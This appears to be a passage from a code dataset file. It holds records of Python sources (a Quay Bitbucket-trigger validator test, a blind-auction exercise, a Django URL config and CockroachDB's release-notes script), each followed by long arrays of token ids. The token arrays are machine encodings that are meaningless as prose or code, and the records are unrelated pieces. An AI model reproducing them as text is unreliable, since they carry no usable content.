21707, 2033, 353, 7700, 13, 4706, 4842, 305, 29889, 7620, 29898, 2917, 29892, 1423, 3149, 23097, 29914, 2917, 29889, 415, 1495, 13, 13, 1678, 565, 2924, 1275, 525, 1025, 2396, 13, 4706, 1020, 4983, 353, 2180, 4835, 5323, 4983, 580, 13, 4706, 1020, 4983, 29889, 1359, 29918, 1457, 3018, 1312, 29898, 3198, 3149, 29897, 13, 4706, 22235, 353, 319, 3580, 7345, 305, 29898, 3018, 4983, 29897, 13, 4706, 736, 22235, 13, 268, 13, 1678, 565, 2924, 1275, 525, 1482, 2396, 13, 4706, 396, 1359, 716, 4558, 29871, 13, 4706, 848, 353, 525, 4051, 29879, 29914, 14968, 18717, 710, 29898, 1524, 362, 7240, 4286, 2585, 29915, 13, 4706, 4833, 353, 4511, 29898, 1272, 29897, 13, 4706, 4558, 353, 5159, 13, 4706, 363, 474, 297, 3464, 29898, 2435, 29898, 2585, 22164, 4558, 29889, 4397, 29898, 2585, 29889, 657, 29918, 271, 4835, 29898, 333, 29922, 29875, 29974, 29896, 876, 13, 4706, 565, 313, 2435, 29898, 8346, 29897, 1360, 29900, 1125, 1596, 877, 6310, 28422, 1203, 2157, 6876, 29898, 29896, 29897, 13, 4706, 2295, 1839, 24713, 16215, 1610, 29918, 1272, 2033, 353, 4558, 13, 4706, 1020, 4983, 353, 2180, 4835, 5323, 4983, 29898, 2917, 29897, 13, 4706, 736, 1020, 4983, 13, 268, 13, 1678, 1683, 29901, 1596, 877, 14380, 1818, 367, 716, 470, 2030, 2157, 6876, 29898, 29896, 29897, 13, 13, 1753, 2436, 29918, 14968, 29898, 1524, 362, 1125, 13, 13, 1678, 396, 13685, 322, 544, 1540, 363, 4319, 4558, 847, 20955, 13, 1678, 664, 353, 4511, 877, 4051, 29879, 29914, 22899, 29889, 2585, 1495, 13, 1678, 7945, 353, 4511, 877, 4051, 29879, 29914, 14968, 18717, 710, 29898, 1524, 362, 7240, 4286, 2585, 1495, 13, 1678, 18190, 583, 353, 5159, 13, 1678, 363, 474, 297, 3464, 29898, 2435, 29898, 1287, 22164, 13, 4706, 18190, 583, 29889, 4397, 29898, 1287, 29889, 657, 29918, 271, 4835, 29898, 333, 29922, 29875, 29974, 29896, 467, 657, 29918, 17765, 2556, 29918, 27548, 3101, 13, 13, 1678, 2380, 6605, 353, 7442, 29889, 5085, 441, 29898, 759, 29887, 583, 29897, 13, 1678, 443, 29875, 29939, 29872, 2248, 6605, 353, 7442, 29889, 13092, 29898, 9302, 29889, 14486, 29898, 9302, 29889, 6605, 29898, 759, 29887, 583, 511, 29871, 29941, 511, 736, 29918, 2248, 29922, 5574, 9601, 29896, 29962, 13, 13, 1678, 396, 5072, 7636, 4251, 13, 1678, 363, 474, 297, 443, 29875, 29939, 29872, 2248, 6605, 29901, 13, 4706, 274, 353, 664, 29889, 657, 29918, 271, 4835, 29898, 333, 29922, 524, 29898, 2248, 6605, 29961, 524, 29898, 29875, 29897, 2314, 29974, 29896, 29897, 13, 13, 4706, 396, 11014, 738, 11909, 5377, 278, 3800, 313, 9928, 29897, 13, 4706, 926, 353, 274, 29889, 1066, 2187, 13, 4706, 363, 432, 297, 926, 29901, 13, 9651, 363, 413, 297, 432, 29901, 13, 18884, 565, 413, 5277, 29871, 29900, 470, 413, 6736, 29871, 29906, 29900, 29901, 2867, 13, 9651, 1683, 29901, 6773, 13, 9651, 2867, 13, 4706, 396, 11014, 443, 13844, 12286, 313, 29872, 29963, 29897, 13, 4706, 1683, 29901, 29871, 13, 9651, 565, 274, 29889, 657, 29918, 17765, 2556, 29918, 27548, 580, 529, 448, 29896, 29900, 322, 274, 29889, 657, 29918, 17765, 2556, 29918, 27548, 580, 1405, 448, 29945, 29900, 29901, 29871, 13, 18884, 7945, 29889, 3539, 29898, 29883, 29897, 13, 13, 1678, 590, 2158, 29898, 2435, 29898, 14968, 511, 525, 8346, 3971, 304, 7945, 29889, 2585, 1495, 13, 13, 2277, 29937, 13, 2 ]
util/config/validators/test/test_validate_bitbucket_trigger.py
giuseppe/quay
2,027
4082
import pytest from httmock import urlmatch, HTTMock from util.config import URLSchemeAndHostname from util.config.validator import ValidatorContext from util.config.validators import ConfigValidationException from util.config.validators.validate_bitbucket_trigger import BitbucketTriggerValidator from test.fixtures import * @pytest.mark.parametrize( "unvalidated_config", [ (ValidatorContext({})), (ValidatorContext({"BITBUCKET_TRIGGER_CONFIG": {}})), (ValidatorContext({"BITBUCKET_TRIGGER_CONFIG": {"CONSUMER_KEY": "foo"}})), (ValidatorContext({"BITBUCKET_TRIGGER_CONFIG": {"CONSUMER_SECRET": "foo"}})), ], ) def test_validate_invalid_bitbucket_trigger_config(unvalidated_config, app): validator = BitbucketTriggerValidator() with pytest.raises(ConfigValidationException): validator.validate(unvalidated_config) def test_validate_bitbucket_trigger(app): url_hit = [False] @urlmatch(netloc=r"bitbucket.org") def handler(url, request): url_hit[0] = True return { "status_code": 200, "content": "oauth_token=foo&oauth_token_secret=bar", } with HTTMock(handler): validator = BitbucketTriggerValidator() url_scheme_and_hostname = URLSchemeAndHostname("http", "localhost:5000") unvalidated_config = ValidatorContext( { "BITBUCKET_TRIGGER_CONFIG": { "CONSUMER_KEY": "foo", "CONSUMER_SECRET": "bar", }, }, url_scheme_and_hostname=url_scheme_and_hostname, ) validator.validate(unvalidated_config) assert url_hit[0]
[ 1, 1053, 11451, 1688, 13, 13, 3166, 1143, 17640, 1053, 3142, 4352, 29892, 3154, 29911, 18680, 13, 13, 3166, 3667, 29889, 2917, 1053, 3988, 4504, 2004, 2855, 8514, 978, 13, 3166, 3667, 29889, 2917, 29889, 3084, 1061, 1053, 15758, 1061, 2677, 13, 3166, 3667, 29889, 2917, 29889, 3084, 4097, 1053, 12782, 19448, 2451, 13, 3166, 3667, 29889, 2917, 29889, 3084, 4097, 29889, 15480, 29918, 2966, 21454, 29918, 21001, 1053, 18531, 21454, 20211, 24204, 13, 13, 3166, 1243, 29889, 7241, 486, 1973, 1053, 334, 13, 13, 13, 29992, 2272, 1688, 29889, 3502, 29889, 3207, 300, 374, 911, 29898, 13, 1678, 376, 348, 3084, 630, 29918, 2917, 613, 13, 1678, 518, 13, 4706, 313, 24204, 2677, 3319, 1800, 511, 13, 4706, 313, 24204, 2677, 3319, 29908, 22698, 7838, 7077, 2544, 29918, 29911, 22789, 17070, 29918, 25903, 1115, 426, 930, 8243, 13, 4706, 313, 24204, 2677, 3319, 29908, 22698, 7838, 7077, 2544, 29918, 29911, 22789, 17070, 29918, 25903, 1115, 8853, 6007, 25021, 1001, 29918, 10818, 1115, 376, 5431, 29908, 930, 8243, 13, 4706, 313, 24204, 2677, 3319, 29908, 22698, 7838, 7077, 2544, 29918, 29911, 22789, 17070, 29918, 25903, 1115, 8853, 6007, 25021, 1001, 29918, 1660, 22245, 29911, 1115, 376, 5431, 29908, 930, 8243, 13, 1678, 21251, 13, 29897, 13, 1753, 1243, 29918, 15480, 29918, 20965, 29918, 2966, 21454, 29918, 21001, 29918, 2917, 29898, 348, 3084, 630, 29918, 2917, 29892, 623, 1125, 13, 1678, 2854, 1061, 353, 18531, 21454, 20211, 24204, 580, 13, 13, 1678, 411, 11451, 1688, 29889, 336, 4637, 29898, 3991, 19448, 2451, 1125, 13, 4706, 2854, 1061, 29889, 15480, 29898, 348, 3084, 630, 29918, 2917, 29897, 13, 13, 13, 1753, 1243, 29918, 15480, 29918, 2966, 21454, 29918, 21001, 29898, 932, 1125, 13, 1678, 3142, 29918, 27342, 353, 518, 8824, 29962, 13, 13, 1678, 732, 2271, 4352, 29898, 1212, 2029, 29922, 29878, 29908, 2966, 21454, 29889, 990, 1159, 13, 1678, 822, 7834, 29898, 2271, 29892, 2009, 1125, 13, 4706, 3142, 29918, 27342, 29961, 29900, 29962, 353, 5852, 13, 4706, 736, 426, 13, 9651, 376, 4882, 29918, 401, 1115, 29871, 29906, 29900, 29900, 29892, 13, 9651, 376, 3051, 1115, 376, 23106, 29918, 6979, 29922, 5431, 29987, 23106, 29918, 6979, 29918, 19024, 29922, 1646, 613, 13, 4706, 500, 13, 13, 1678, 411, 3154, 29911, 18680, 29898, 13789, 1125, 13, 4706, 2854, 1061, 353, 18531, 21454, 20211, 24204, 580, 13, 13, 4706, 3142, 29918, 816, 2004, 29918, 392, 29918, 28988, 353, 3988, 4504, 2004, 2855, 8514, 978, 703, 1124, 613, 376, 7640, 29901, 29945, 29900, 29900, 29900, 1159, 13, 4706, 443, 3084, 630, 29918, 2917, 353, 15758, 1061, 2677, 29898, 13, 9651, 426, 13, 18884, 376, 22698, 7838, 7077, 2544, 29918, 29911, 22789, 17070, 29918, 25903, 1115, 426, 13, 462, 1678, 376, 6007, 25021, 1001, 29918, 10818, 1115, 376, 5431, 613, 13, 462, 1678, 376, 6007, 25021, 1001, 29918, 1660, 22245, 29911, 1115, 376, 1646, 613, 13, 18884, 2981, 13, 9651, 2981, 13, 9651, 3142, 29918, 816, 2004, 29918, 392, 29918, 28988, 29922, 2271, 29918, 816, 2004, 29918, 392, 29918, 28988, 29892, 13, 4706, 1723, 13, 13, 4706, 2854, 1061, 29889, 15480, 29898, 348, 3084, 630, 29918, 2917, 29897, 13, 13, 4706, 4974, 3142, 29918, 27342, 29961, 29900, 29962, 13, 2 ]
Python 100 Days 100 Project /09_blind-auction/09_blind-auction.py
akhmadzaki/Programming
1
81829
<gh_stars>1-10 import os logo = ''' ___________ \ / )_______( |"""""""|_.-._,.---------.,_.-._ | | | | | | ''-. | |_| |_ _| |_..-' |_______| '-' `'---------'` '-' )"""""""( /_________\\ .-------------. /_______________\\ ''' print(logo) next = True allbids= {} def bidder(bid): highest = 0 for b in bid: bide = bid[b] if bide > highest: highest = bide key = b print(f"The winner is {key} with a bid of ${highest}.") while(next): name = input("What is your name? ") bid = int(input("What is your bid? $")) allbids[name] = bid choice = input("Are ther any other bidders? Type 'yes' or 'no'. ") if choice == 'no': next = False bidder(allbids) #maxName = max(allbids.keys()) #maximum = max(allbids.values()) #print(f"The winner is {maxName} with a bid of {maximum}") elif choice == 'yes': os.system('clear')
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 5215, 2897, 13, 14569, 353, 14550, 13, 462, 308, 903, 14365, 1649, 13, 462, 308, 320, 308, 847, 13, 462, 3986, 1723, 7652, 22359, 29898, 13, 462, 3986, 891, 15945, 15945, 15945, 29908, 29989, 5396, 29899, 3032, 7671, 1378, 29899, 1696, 5396, 29899, 3032, 13, 462, 3986, 891, 539, 891, 891, 891, 1669, 891, 891, 6629, 28753, 13, 462, 3986, 891, 539, 891, 29918, 29989, 891, 29918, 632, 903, 29989, 891, 29918, 636, 29899, 29915, 13, 462, 3986, 891, 7652, 22359, 29989, 17411, 29915, 16218, 1378, 29899, 11120, 17411, 29915, 13, 462, 3986, 1723, 15945, 15945, 15945, 29908, 29898, 13, 462, 308, 847, 14365, 29918, 1966, 13, 462, 539, 869, 9072, 28753, 13, 462, 418, 847, 14365, 7652, 22359, 1966, 13, 12008, 13, 2158, 29898, 14569, 29897, 13, 4622, 353, 5852, 13, 497, 29890, 4841, 29922, 6571, 13, 1753, 21000, 672, 29898, 23883, 1125, 13, 29871, 9939, 353, 29871, 29900, 13, 29871, 363, 289, 297, 21000, 29901, 13, 1678, 289, 680, 353, 21000, 29961, 29890, 29962, 13, 1678, 565, 289, 680, 1405, 9939, 29901, 13, 418, 9939, 353, 289, 680, 13, 418, 1820, 353, 289, 13, 29871, 1596, 29898, 29888, 29908, 1576, 19576, 338, 426, 1989, 29913, 411, 263, 21000, 310, 6435, 9812, 342, 1836, 1159, 13, 8000, 29898, 4622, 1125, 13, 29871, 1024, 353, 1881, 703, 5618, 338, 596, 1024, 29973, 16521, 13, 29871, 21000, 353, 938, 29898, 2080, 703, 5618, 338, 596, 21000, 29973, 395, 5783, 13, 29871, 599, 29890, 4841, 29961, 978, 29962, 353, 21000, 13, 29871, 7348, 353, 1881, 703, 17506, 29220, 738, 916, 289, 2205, 414, 29973, 5167, 525, 3582, 29915, 470, 525, 1217, 4286, 16521, 13, 29871, 565, 7348, 1275, 525, 1217, 2396, 13, 1678, 2446, 353, 7700, 13, 1678, 21000, 672, 29898, 497, 29890, 4841, 29897, 13, 259, 396, 3317, 1170, 353, 4236, 29898, 497, 29890, 4841, 29889, 8149, 3101, 13, 1678, 396, 27525, 398, 353, 4236, 29898, 497, 29890, 4841, 29889, 5975, 3101, 13, 1678, 396, 2158, 29898, 29888, 29908, 1576, 19576, 338, 426, 3317, 1170, 29913, 411, 263, 21000, 310, 426, 27525, 398, 27195, 13, 29871, 25342, 7348, 1275, 525, 3582, 2396, 13, 268, 2897, 29889, 5205, 877, 8551, 1495, 2 ]
webapps/website/urls.py
freewayz/django-starter
2
178916
<gh_stars>1-10 from django.conf.urls import url from webapps.website import views urlpatterns = [ url(r'^$', view=views.LandingPageView.as_view(), name="home") ]
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 3166, 9557, 29889, 5527, 29889, 26045, 1053, 3142, 13, 3166, 1856, 13371, 29889, 22942, 1053, 8386, 13, 13, 2271, 11037, 29879, 353, 518, 13, 1678, 3142, 29898, 29878, 29915, 29985, 29938, 742, 1776, 29922, 7406, 29889, 22677, 292, 5074, 1043, 29889, 294, 29918, 1493, 3285, 1024, 543, 5184, 1159, 13, 29962, 2 ]
scripts/release-notes.py
centerorbit/cockroach
1
133279
<reponame>centerorbit/cockroach<filename>scripts/release-notes.py #! /usr/bin/env python3 # # Show a compact release note summary of a range of Git commits. # # Example use: release-notes.py --help # # Note: the first commit in the range is excluded! # # Requires: # - GitPython https://pypi.python.org/pypi/GitPython/ # - You need to configure your local repo to pull the PR refs from # GitHub. To do this, add a line like: # fetch = +refs/pull/*/head:refs/pull/origin/* # to the GitHub remote section of .git/config. # # Disclaimer: this program is provided without warranties of any kind, # including suitability for any purpose. The author(s) will not be # responsible if this script eats your left sock. # # Known limitations: # # - if different people with the same name contribute, this script # will be confused. (it will merge their work under one entry). # - the list of aliases below must be manually modified when # contributors change their git name and/or email address. # # Note: there are unit tests in the release-notes subdirectory! import sys import itertools import re import os import datetime, time import subprocess from git import Repo from optparse import OptionParser from git.repo.fun import name_to_object from git.util import Stats ### Global behavior constants ### # minimum sha length to disambiguate shamin = 9 # FIXME(knz): This probably needs to use the .mailmap. author_aliases = { 'changangela': "<NAME>", 'dianasaur323': "<NAME>", 'kena': "Raphael 'kena' Poss", 'vivekmenezes': "<NAME>", 'RaduBerinde': "<NAME>", '<NAME>': "<NAME>", 'marc': "<NAME>", 'Lauren': "<NAME>", 'lhirata' : "<NAME>", 'Emmanuel': "<NAME>", 'MBerhault': "<NAME>", 'Nate': "<NAME>", 'a6802739': "Song Hao", 'Abhemailk <EMAIL>': "<NAME>", 'rytaft': "<NAME>", 'songhao': "<NAME>", 'solongordon': "<NAME>", 'tim-o': "<NAME>", 'Amruta': "<NAME>", 'yuzefovich': "<NAME>", 'madhavsuresh': "<NAME>", '<NAME>': "<NAME>", } # FIXME(knz): This too. crdb_folk = set([ "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", ]) # Section titles for release notes. relnotetitles = { 'cli change': "Command-line changes", 'sql change': "SQL language changes", 'admin ui change': "Admin UI changes", 'general change': "General changes", 'build change': "Build changes", 'enterprise change': "Enterprise edition changes", 'backward-incompatible change': "Backward-incompatible changes", 'performance improvement': "Performance improvements", 'bug fix': "Bug fixes", } # Order in which to show the sections. relnote_sec_order = [ 'backward-incompatible change', 'general change', 'enterprise change', 'sql change', 'cli change', 'admin ui change', 'bug fix', 'performance improvement', 'build change', ] # Release note category common misspellings. cat_misspells = { 'sql' : 'sql change', 'general': 'general change', 'core change': 'general change', 'bugfix': 'bug fix', 'performance change' : 'performance improvement', 'performance' : 'performance improvement', 'ui' : 'admin ui change', 'backwards-incompatible change': 'backward-incompatible change', 'enterprise': 'enterprise change' } ## Release note format ## # The following release note formats have been seen in the wild: # # Release note (xxx): yyy <- canonical # Release Notes: None # Release note (xxx): yyy # Release note (xxx) : yyy # Release note: (xxx): yyy # Release note: xxx: yyy # Release note: (xxx) yyy # Release note: yyy (no category) # Release note (xxx, zzz): yyy norelnote = re.compile(r'^[rR]elease [nN]otes?: *[Nn]one', flags=re.M) # Captures :? (xxx) ?: yyy form1 = r':? *\((?P<cat1>[^)]*)\) *:?' # Captures : xxx: yyy - this must be careful not to capture too much, we just accept one or two words form2 = r': *(?P<cat2>[^ ]+(?: +[^ ]+)?) *:' # Captures : yyy - no category form3 = r':(?P<cat3>)' relnote = re.compile(r'(?:^|[\n\r])[rR]elease [nN]otes? *(?:' + form1 + '|' + form2 + '|' + form3 + r') *(?P<note>.*)$', flags=re.S) coauthor = re.compile(r'^Co-authored-by: (?P<name>[^<]*) <(?P<email>.*)>', flags=re.M) fixannot = re.compile(r'^([fF]ix(es|ed)?|[cC]lose(d|s)?) #', flags=re.M) ## Merge commit format ## # The following merge commits have been seen in the wild: # # Merge pull request #XXXXX from ... <- GitHub merges # Merge #XXXXX #XXXXX #XXXXX <- Bors merges merge_numbers = re.compile(r'^Merge( pull request)?(?P<numbers>( #[0-9]+)+)') ### Initialization / option parsing ### parser = OptionParser() parser.add_option("-k", "--sort-key", dest="sort_key", default="title", help="sort by KEY (pr, title, insertions, deletions, files, sha, date; default: title)", metavar="KEY") parser.add_option("-r", "--reverse", action="store_true", dest="reverse_sort", default=False, help="reverse sort") parser.add_option("-f", "--from", dest="from_commit", help="list history from COMMIT. Note: the first commit is excluded.", metavar="COMMIT") parser.add_option("-t", "--until", dest="until_commit", default="HEAD", help="list history up and until COMMIT (default: HEAD)", metavar="COMMIT") parser.add_option("-p", "--pull-ref", dest="pull_ref_prefix", default="refs/pull/origin", help="prefix for pull request refs (default: refs/pull/origin)", metavar="PREFIX") parser.add_option("--hide-unambiguous-shas", action="store_true", dest="hide_shas", default=False, help="omit commit SHAs from the release notes and per-contributor sections") parser.add_option("--hide-per-contributor-section", action="store_true", dest="hide_per_contributor", default=False, help="omit the per-contributor section") parser.add_option("--hide-downloads-section", action="store_true", dest="hide_downloads", default=False, help="omit the email sign-up and downloads section") parser.add_option("--hide-header", action="store_true", dest="hide_header", default=False, help="omit the title and date header") parser.add_option("--exclude-from", dest="exclude_from_commit", help="exclude history starting after COMMIT. Note: COMMIT itself is excluded.", metavar="COMMIT") parser.add_option("--exclude-until", dest="exclude_until_commit", help="exclude history ending at COMMIT", metavar="COMMIT") parser.add_option("--one-line", dest="one_line", action="store_true", default=False, help="unwrap release notes on a single line") (options, args) = parser.parse_args() sortkey = options.sort_key revsort = options.reverse_sort pull_ref_prefix = options.pull_ref_prefix hideshas = options.hide_shas hidepercontributor = options.hide_per_contributor hidedownloads = options.hide_downloads hideheader = options.hide_header repo = Repo('.') heads = repo.heads def reformat_note(note_lines): sep = '\n' if options.one_line: sep = ' ' return sep.join(note_lines).strip() # Check that pull_ref_prefix is valid testrefname = "%s/1" % pull_ref_prefix try: repo.commit(testrefname) except: print("Unable to find pull request refs at %s." % pull_ref_prefix, file=sys.stderr) print("Is your repo set up to fetch them? Try adding", file=sys.stderr) print(" fetch = +refs/pull/*/head:%s/*" % pull_ref_prefix, file=sys.stderr) print("to the GitHub remote section of .git/config.", file=sys.stderr) exit(1) def find_commits(from_commit_ref, until_commit_ref): try: firstCommit = repo.commit(from_commit_ref) except: print("Unable to find the first commit of the range.", file=sys.stderr) print("No ref named %s." % from_commit_ref, file=sys.stderr) exit(1) try: commit = repo.commit(until_commit_ref) except: print("Unable to find the last commit of the range.", file=sys.stderr) print("No ref named %s." % until_commit_ref, file=sys.stderr) exit(1) return firstCommit, commit firstCommit, commit = find_commits(options.from_commit, options.until_commit) if commit == firstCommit: print("Commit range is empty!", file=sys.stderr) print(parser.get_usage(), file=sys.stderr) print("Example use:", file=sys.stderr) print(" %s --help" % sys.argv[0], file=sys.stderr) print(" %s --from xxx >output.md" % sys.argv[0], file=sys.stderr) print(" %s --from xxx --until yyy >output.md" % sys.argv[0], file=sys.stderr) print("Note: the first commit is excluded. Use e.g.: --from <prev-release-tag> --until <new-release-candidate-sha>", file=sys.stderr) exit(0) excludedFirst, excludedLast = None, None if options.exclude_from_commit or options.exclude_until_commit: if not options.exclude_from_commit or not options.exclude_until_commit: print("Both -xf and -xt must be specified, or not at all.") exit(1) excludedFirst, excludedLast = find_commits(options.exclude_from_commit, options.exclude_until_commit) ### Reading data from repository ### def identify_commit(commit): return '%s ("%s", %s)' % ( commit.hexsha, commit.message.split('\n',1)[0], datetime.datetime.fromtimestamp(commit.committed_date).ctime()) def check_reachability(firstCommit, commit): # Is the first commit reachable from the current one? base = repo.merge_base(firstCommit, commit) if len(base) == 0: print("error: %s:%s\nand %s:%s\nhave no common ancestor" % ( options.from_commit, identify_commit(firstCommit), options.until_commit, identify_commit(commit)), file=sys.stderr) exit(1) commonParent = base[0] if firstCommit != commonParent: print("warning: %s:%s\nis not an ancestor of %s:%s!" % ( options.from_commit, identify_commit(firstCommit), options.until_commit, identify_commit(commit)), file=sys.stderr) print(file=sys.stderr) ageindays = int((firstCommit.committed_date - commonParent.committed_date)/86400) prevlen = sum((1 for x in repo.iter_commits(commonParent.hexsha + '...' + firstCommit.hexsha))) print("The first common ancestor is %s" % identify_commit(commonParent), file=sys.stderr) print("which is %d commits older than %s:%s\nand %d days older. Using that as origin." %\ (prevlen, options.from_commit, identify_commit(firstCommit), ageindays), file=sys.stderr) print(file=sys.stderr) firstCommit = commonParent return firstCommit, commit firstCommit, commit = check_reachability(firstCommit, commit) options.from_commit = firstCommit.hexsha def extract_release_notes(commit): msglines = commit.message.split('\n') curnote = [] innote = False foundnote = False cat = None notes = [] for line in msglines: m = coauthor.search(line) if m is not None: # A Co-authored-line finishes the parsing of the commit message, # because it's included at the end only. break m = fixannot.search(line) if m is not None: # Fix/Close etc. Ignore. continue m = norelnote.search(line) if m is not None: # Release note: None # # Remember we found a note (so the commit is not marked as "missing # a release note"), but we won't collect it. foundnote = True continue m = relnote.search(line) if m is None: # Current line does not contain a release note separator. # If we were already collecting a note, continue collecting it. if innote: curnote.append(line) continue # We have a release note boundary. If we were collecting a # note already, complete it. if innote: notes.append((cat, reformat_note(curnote))) curnote = [] innote = False # Start a new release note. firstline = m.group('note').strip() if firstline.lower() == 'none': # Release note: none - there's no note yet. continue foundnote = True innote = True # Capitalize the first line. if firstline != "": firstline = firstline[0].upper() + firstline[1:] curnote = [firstline] cat = m.group('cat1') if cat is None: cat = m.group('cat2') if cat is None: cat = 'missing category' # Normalize to tolerate various capitalizations. cat = cat.lower() # If there are multiple categories separated by commas or slashes, use the first as grouping key. cat = cat.split(',', 1)[0] cat = cat.split('/', 1)[0] # If there is any misspell, correct it. if cat in cat_misspells: cat = cat_misspells[cat] if innote: notes.append((cat, reformat_note(curnote))) return foundnote, notes spinner = itertools.cycle(['/', '-', '\\', '|']) counter = 0 def spin(): global counter # Display a progress bar counter += 1 if counter % 10 == 0: if counter % 100 == 0: print("\b..", end='', file=sys.stderr) print("\b", end='', file=sys.stderr) print(next(spinner), end='', file=sys.stderr) sys.stderr.flush() def get_direct_history(firstCommit, lastCommit): history = [] for c in repo.iter_commits(firstCommit.hexsha + '..' + lastCommit.hexsha, first_parent = True): history.append(c) return history excluded_notes = set() if excludedFirst is not None: # # Collect all the notes to exclude during collection below. # print("Collecting EXCLUDED release notes from\n%s\nuntil\n%s" % (identify_commit(excludedFirst), identify_commit(excludedLast)), file=sys.stderr) # First ensure that the loop below will terminate. excludedFirst, excludedLast = check_reachability(excludedFirst, excludedLast) # Collect all the merge points, so we can measure progress. mergepoints = get_direct_history(excludedFirst, excludedLast) # Now collect all commits. print("Collecting EXCLUDED release notes...", file=sys.stderr) i = 0 progress = 0 lastTime = time.time() for c in repo.iter_commits(excludedFirst.hexsha + '..' + excludedLast.hexsha): progress = int(100. * float(i) / len(mergepoints)) newTime = time.time() if newTime >= lastTime + 5: print("\b%d%%.." % progress, file=sys.stderr, end='') lastTime = newTime i += 1 spin() # Collect the release notes in that commit. _, notes = extract_release_notes(c) for cat, note in notes: excluded_notes.add((cat, note)) print("\b100%\n", file=sys.stderr) print("Collecting release notes from\n%s\nuntil\n%s" % (identify_commit(firstCommit), identify_commit(commit)), file=sys.stderr) release_notes = {} missing_release_notes = [] def collect_authors(commit): authors = set() author = author_aliases.get(commit.author.name, commit.author.name) if author != 'GitHub': authors.add(author) author = author_aliases.get(commit.committer.name, commit.committer.name) if author != 'GitHub': authors.add(author) for m in coauthor.finditer(commit.message): aname = m.group('name').strip() author = author_aliases.get(aname, aname) authors.add(author) return authors def process_release_notes(pr, title, commit): authors = collect_authors(commit) foundnote, notes = extract_release_notes(commit) # At the end the notes will be presented in reverse order, because # we explore the commits in reverse order. However within 1 commit # the notes are in the correct order. So reverse them upfront here, # so that the 2nd reverse gets them in the right order again. for cat, note in reversed(notes): if (cat, note) not in excluded_notes: completenote(commit, cat, note, authors, pr, title) missing_item = None if not foundnote: # Missing release note. Keep track for later. missing_item = makeitem(pr, title, commit.hexsha[:shamin], authors) return missing_item, authors def makeitem(pr, prtitle, sha, authors): return {'authors': ', '.join(sorted(authors)), 'sha': sha, 'pr': pr, 'title': prtitle, 'note': None} def completenote(commit, cat, notemsg, authors, pr, title): item = makeitem(pr, title, commit.hexsha[:shamin], authors) item['note'] = notemsg # Now collect per category. catnotes = release_notes.get(cat, []) catnotes.append(item) release_notes[cat] = catnotes per_group_history = {} individual_authors = set() allprs = set() # This function groups and counts all the commits that belong to a particular PR. # Some description is in order regarding the logic here: it should visit all # commits that are on the PR and only on the PR. If there's some secondary # branch merge included on the PR, as long as those commits don't otherwise end # up reachable from the target branch, they'll be included. If there's a back- # merge from the target branch, that should be excluded. # # Examples: # # ### secondary branch merged into PR # # Dev branched off of K, made a commit J, made a commit G while someone else # committed H, merged H from the secondary branch to the topic branch in E, # made a final commit in C, then merged to master in A. # # A <-- master # |\ # | \ # B C <-- PR tip # | | # | | # D E <-- secondary merge # | |\ # | | \ # F G H <-- secondary branch # | | / # | |/ # I J # | / # |/ # K <-- merge base # # C, E, G, H, and J will each be checked. None of them are ancestors of B, # so they will all be visited. E will be not be counted because the message # starts with "Merge", so in the end C, G, H, and J will be included. # # ### back-merge from target branch # # Dev branched off H, made one commit G, merged the latest F from master in E, # made one final commit in C, then merged the PR. # # A <-- master # |\ # | \ # B C <-- PR tip # | | # | | # D E <-- back-merge # | /| # |/ | # F G # | / # |/ # H <-- merge base # # C, E, F, and G will each be checked. F is an ancestor of B, so it will be # excluded. E starts with "Merge", so it will not be counted. Only C and G will # have statistics included. def analyze_pr(merge, pr): allprs.add(pr) refname = pull_ref_prefix + "/" + pr[1:] tip = name_to_object(repo, refname) noteexpr = re.compile("^%s: (?P<message>.*) r=.* a=.*" % pr[1:], flags=re.M) m = noteexpr.search(merge.message) note = '' if m is None: # GitHub merge note = merge.message.split('\n',3)[2] else: # Bors merge note = m.group('message') note = note.strip() merge_base_result = repo.merge_base(merge.parents[0], tip) if len(merge_base_result) == 0: print("uh-oh! can't find merge base! pr", pr, file=sys.stderr) exit(-1) merge_base = merge_base_result[0] commits_to_analyze = [tip] seen_commits = set() missing_items = [] authors = set() ncommits = 0 for commit in repo.iter_commits(merge_base.hexsha + '..' + tip.hexsha): spin() if commit in seen_commits: # We may be seeing the same commit twice if a feature branch has # been forked in sub-branches. Just skip over what we've seen # already. continue seen_commits.add(commit) if not commit.message.startswith("Merge"): missing_item, prauthors = process_release_notes(pr, note, commit) authors.update(prauthors) ncommits += 1 if missing_item is not None: missing_items.append(missing_item) if ncommits == len(missing_items): # None of the commits found had a release note. List them. for item in missing_items: missing_release_notes.append(item) text = repo.git.diff(merge_base.hexsha, tip.hexsha, '--', numstat=True) stats = Stats._list_from_string(repo, text) collect_item(pr, note, merge.hexsha[:shamin], ncommits, authors, stats.total, merge.committed_date) def collect_item(pr, prtitle, sha, ncommits, authors, stats, prts): individual_authors.update(authors) if len(authors) == 0: authors.add("Unknown Author") item = makeitem(pr, prtitle, sha, authors) item.update({'ncommits': ncommits, 'insertions': stats['insertions'], 'deletions': stats['deletions'], 'files': stats['files'], 'lines': stats['lines'], 'date': datetime.date.fromtimestamp(prts).isoformat(), }) history = per_group_history.get(item['authors'], []) history.append(item) per_group_history[item['authors']] = history def analyze_standalone_commit(commit): # Some random out-of-branch commit. Let's not forget them. authors = collect_authors(commit) title = commit.message.split('\n',1)[0].strip() item = makeitem('#unknown', title, commit.hexsha[:shamin], authors) missing_release_notes.append(item) collect_item('#unknown', title, commit.hexsha[:shamin], 1, authors, commit.stats.total, commit.committed_date) # Collect all the merge points so we can report progress. mergepoints = get_direct_history(firstCommit, commit) i = 0 progress = 0 lastTime = time.time() for commit in mergepoints: progress = int(100. * float(i) / len(mergepoints)) newTime = time.time() if newTime >= lastTime + 5: print("\b.%d%%\n." % progress, file=sys.stderr, end='') lastTime = newTime i += 1 spin() 